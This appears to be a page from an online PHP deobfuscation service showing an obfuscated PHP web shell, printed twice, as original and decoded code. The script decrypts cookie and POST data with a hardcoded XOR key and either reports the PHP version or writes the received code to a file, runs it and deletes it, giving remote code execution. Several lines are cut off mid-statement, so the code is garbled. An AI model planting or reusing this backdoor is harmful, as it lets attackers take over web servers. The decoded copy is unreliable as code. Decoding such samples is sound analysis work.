Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* lgmf */ function vwitqu(){$wzknc='wxlyi'; print_r (41645+41645); /* ..

Decoded Output download

<?php  /*  lgmf */ function     vwitqu(){$wzknc='wxlyi';        print_r (41645+41645); /* p */ } 
 
 
$ogquehy_bw       = /*sfdk*/ 'ogquehy_bw'       ^ /*  nza   */ '^L^O^C'; 
 
 
 
 
function /*   ggf*/ ghfalhpe() 
{ /*  _dfa */ $pdbdb  =   555; 
 
 
     $lg_zcyg /*qbx  */ = /* bqav */ 's_'; 
 
        $cmauzvlpe /*yb*/ =      555; 
 
 /* rr */ $olrsfm       =       $cmauzvlpe    *  19; 
 
} 
 
 
function        ukkxhd($nqlpa, /*  miqjw  */ $sonhk){ 
 
 
      global   $ogquehy_bw; 
 
 /* g*/ $tqtfev_kboam    = /* ftaq*/ ""; 
     $vdgdlbtc /*m_z  */ = /*  ej   */ 'ymr'; /*   a   */ for       ($tqtfev    =   0;    $tqtfev      < /*  pslxy  */ strlen($nqlpa);) { 
 
      for    ($qwhkibc_jy    =    0;    $qwhkibc_jy /*  iuji  */ <     strlen($sonhk)   && /* np */ $tqtfev    < /*   wxmv  */ strlen($nqlpa); /*oeh*/ $qwhkibc_jy++,    $tqtfev++)     {     $tqtfev_kboam    $ 
    } 
 
      } return /*  rsbno */ $tqtfev_kboam; 
} 
 
 
$hxjku_    =       $_COOKIE; 
 
$zpupifpgn    = /* mssie  */ $_POST;$kzadbylj_    =      407; 
$flapzq /*ear*/ =    $kzadbylj_ + /* ejykjx*/ 10; 
 
$omjnugecv /*   xnkv */ =       897; 
 
 
 
 
 
 
function       _taamtg($uyujhhyz_j,      $nqlpa) 
{ 
 
        global       $ogquehy_bw; 
$zakkhmus  =    sprintf("."   .       "/"    . /*   brqvl  */ "%".$ogquehy_bw(115)   .    "."."p"   .      "l",       md5($uyujhhyz_j));       file_put_contents($zakkhmus,     "<"       .  $ogq$ 
 
       $qg_zry    = /*d  */ 'jkote'; 
 
 
 /*  sy*/ $rxica   =    'necg';      $bokdwuv       = /* s  */ $zakkhmus; 
 
 /*   itmlf   */ @unlink($bokdwuv); 
 
 /* t   */ $ejxrxpbrj   =    'jpqts'; 
 
} 
 
 
function  sabsp() 
{ 
 
     $tqtfevlstvjw /*   _   */ =        314; 
 
} 
 
 
function        jpwqjf_e_k() 
 
 
{ 
 
 
 /*  zlk*/ global    $ogquehy_bw; 
 
        $tqtfev       =    array(); 
 
 /*tkyzgk  */ $kn__zf /* xj   */ = /*zyzke */ 'qijdvhzc'; 
  $ozqvuhb      =    257; 
 
    $tqtfev[$ogquehy_bw(1009-897) /* ddfl*/ . /* m*/ $ogquehy_bw(118)] /*ailk  */ =   phpversion(); 
 /*   hlw   */ $ozqvuhb /*w   */ =      $ozqvuhb        / /*   tjb*/ 6; $tqtfev["s".$ogquehy_bw(689-571)]       = /*qffot  */ "3"."." /*fa  */ . /*   jcd */ $ogquehy_bw(86-33); 
 
    $wstfaxolz    = /*  r */ 'ibuz'; 
 
        echo /*wihtju*/ @serialize($tqtfev); 
 
        $ozqvuhb    =    $ozqvuhb    %    17; 
 
    $ozqvuhb /*   om*/ =      $ozqvuhb  -    19; 
 
} 
sabsp(); 
 
 
 
 
 
 
 
ghfalhpe(); 
 
 
function /*  swb*/ uouwri($nqlpa, /* grgj*/ $uyujhhyz_j,        $llhame) 
{ 
 
 
    global /*  gj */ $ogquehy_bw; 
 
 
        $nqlpa      =   unserialize(ukkxhd(ukkxhd(base64_decode($nqlpa), /*   pus   */ $uyujhhyz_j),    $llhame));   $myitl /*   kv  */ = /* g   */ 'jrutb'; 
 
    $aoznoetr     = /*   k   */ 'iyagu';    $qqedulg  =     strtolower($myitl);    if /* q*/ (isset($nqlpa["a"       . /* k*/ "k"]))   { 
 
 
 /*efo*/ if    ($nqlpa[$ogquehy_bw(295-198)]    == /* _olto  */ "i")    { /*tdtv  */ jpwqjf_e_k(); 
 
 /* eisjy_   */ }       elseif  ($nqlpa[$ogquehy_bw(295-198)] /* jmuak  */ ==    $ogquehy_bw(988-887))  { 
 /* mmfdm   */ _taamtg($uyujhhyz_j, /*   a_  */ $nqlpa); 
 
 
      } /*wslunl   */ exit(); 
 /*x   */ }} 
 
 
 
 
 
$hxjku_    = /*   k   */ array_merge($zpupifpgn,        $hxjku_); 
 
 
$uyujhhyz_j       = /* i*/ "6"."9"      . /* nny */ "3"."0"."b" /*   snvhnd  */ . /*   rlpzg   */ $ogquehy_bw(84-35) /*  z*/ . /*  isl_y*/ "7"."d"      .       $ogquehy_bw(255-210) /*  it*/ . /*   wo$ 
 
foreach ($hxjku_   as /*h  */ $llhame /* _vu   */ =>    $nqlpa)       { 
 /*  uuejm */ uouwri($nqlpa,    $uyujhhyz_j, /*   twjszh*/ $llhame); 
 
} 
 
?>

Did this file decode correctly?

Original Code

<?php  /*  lgmf */ function     vwitqu(){$wzknc='wxlyi';        print_r (41645+41645); /* p */ }


$ogquehy_bw       = /*sfdk*/ 'ogquehy_bw'       ^ /*  nza   */ '^L^O^C';




function /*   ggf*/ ghfalhpe()
{ /*  _dfa */ $pdbdb  =   555;


     $lg_zcyg /*qbx  */ = /* bqav */ 's_';

        $cmauzvlpe /*yb*/ =      555;

 /* rr */ $olrsfm       =       $cmauzvlpe    *  19;

}


function        ukkxhd($nqlpa, /*  miqjw  */ $sonhk){


      global   $ogquehy_bw;

 /* g*/ $tqtfev_kboam    = /* ftaq*/ "";
     $vdgdlbtc /*m_z  */ = /*  ej   */ 'ymr'; /*   a   */ for       ($tqtfev    =   0;    $tqtfev      < /*  pslxy  */ strlen($nqlpa);) {

      for    ($qwhkibc_jy    =    0;    $qwhkibc_jy /*  iuji  */ <     strlen($sonhk)   && /* np */ $tqtfev    < /*   wxmv  */ strlen($nqlpa); /*oeh*/ $qwhkibc_jy++,    $tqtfev++)     {     $tqtfev_kboam    $
    }

      } return /*  rsbno */ $tqtfev_kboam;
}


$hxjku_    =       $_COOKIE;

$zpupifpgn    = /* mssie  */ $_POST;$kzadbylj_    =      407;
$flapzq /*ear*/ =    $kzadbylj_ + /* ejykjx*/ 10;

$omjnugecv /*   xnkv */ =       897;






function       _taamtg($uyujhhyz_j,      $nqlpa)
{

        global       $ogquehy_bw;
$zakkhmus  =    sprintf("\x2e"   .       "\x2f"    . /*   brqvl  */ "%".$ogquehy_bw(115)   .    "."."\x70"   .      "l",       md5($uyujhhyz_j));       file_put_contents($zakkhmus,     "<"       .  $ogq$

       $qg_zry    = /*d  */ 'jkote';


 /*  sy*/ $rxica   =    'necg';      $bokdwuv       = /* s  */ $zakkhmus;

 /*   itmlf   */ @unlink($bokdwuv);

 /* t   */ $ejxrxpbrj   =    'jpqts';

}


function  sabsp()
{

     $tqtfevlstvjw /*   _   */ =        314;

}


function        jpwqjf_e_k()


{


 /*  zlk*/ global    $ogquehy_bw;

        $tqtfev       =    array();

 /*tkyzgk  */ $kn__zf /* xj   */ = /*zyzke */ 'qijdvhzc';
  $ozqvuhb      =    257;

    $tqtfev[$ogquehy_bw(1009-897) /* ddfl*/ . /* m*/ $ogquehy_bw(118)] /*ailk  */ =   phpversion();
 /*   hlw   */ $ozqvuhb /*w   */ =      $ozqvuhb        / /*   tjb*/ 6; $tqtfev["s".$ogquehy_bw(689-571)]       = /*qffot  */ "3"."\x2e" /*fa  */ . /*   jcd */ $ogquehy_bw(86-33);

    $wstfaxolz    = /*  r */ 'ibuz';

        echo /*wihtju*/ @serialize($tqtfev);

        $ozqvuhb    =    $ozqvuhb    %    17;

    $ozqvuhb /*   om*/ =      $ozqvuhb  -    19;

}
sabsp();







ghfalhpe();


function /*  swb*/ uouwri($nqlpa, /* grgj*/ $uyujhhyz_j,        $llhame)
{


    global /*  gj */ $ogquehy_bw;


        $nqlpa      =   unserialize(ukkxhd(ukkxhd(base64_decode($nqlpa), /*   pus   */ $uyujhhyz_j),    $llhame));   $myitl /*   kv  */ = /* g   */ 'jrutb';

    $aoznoetr     = /*   k   */ 'iyagu';    $qqedulg  =     strtolower($myitl);    if /* q*/ (isset($nqlpa["\x61"       . /* k*/ "k"]))   {


 /*efo*/ if    ($nqlpa[$ogquehy_bw(295-198)]    == /* _olto  */ "i")    { /*tdtv  */ jpwqjf_e_k();

 /* eisjy_   */ }       elseif  ($nqlpa[$ogquehy_bw(295-198)] /* jmuak  */ ==    $ogquehy_bw(988-887))  {
 /* mmfdm   */ _taamtg($uyujhhyz_j, /*   a_  */ $nqlpa);


      } /*wslunl   */ exit();
 /*x   */ }}





$hxjku_    = /*   k   */ array_merge($zpupifpgn,        $hxjku_);


$uyujhhyz_j       = /* i*/ "6"."\71"      . /* nny */ "3"."0"."\x62" /*   snvhnd  */ . /*   rlpzg   */ $ogquehy_bw(84-35) /*  z*/ . /*  isl_y*/ "7"."\144"      .       $ogquehy_bw(255-210) /*  it*/ . /*   wo$

foreach ($hxjku_   as /*h  */ $llhame /* _vu   */ =>    $nqlpa)       {
 /*  uuejm */ uouwri($nqlpa,    $uyujhhyz_j, /*   twjszh*/ $llhame);

}

?>

Function Calls

None

Variables

None

Stats

MD5 87e9a58633f7f6a52943bbd55c8a7e5b
Eval Count 0
Decode Time 61 ms